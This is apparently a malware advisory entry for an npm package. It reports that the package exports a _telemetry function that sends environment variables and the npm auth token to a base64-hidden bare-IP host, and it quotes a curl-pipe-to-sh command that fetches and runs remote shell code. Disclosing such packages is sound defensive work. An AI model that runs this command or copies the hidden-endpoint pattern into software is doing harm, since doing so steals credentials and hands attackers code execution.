MAL-2026-13365

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36) index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.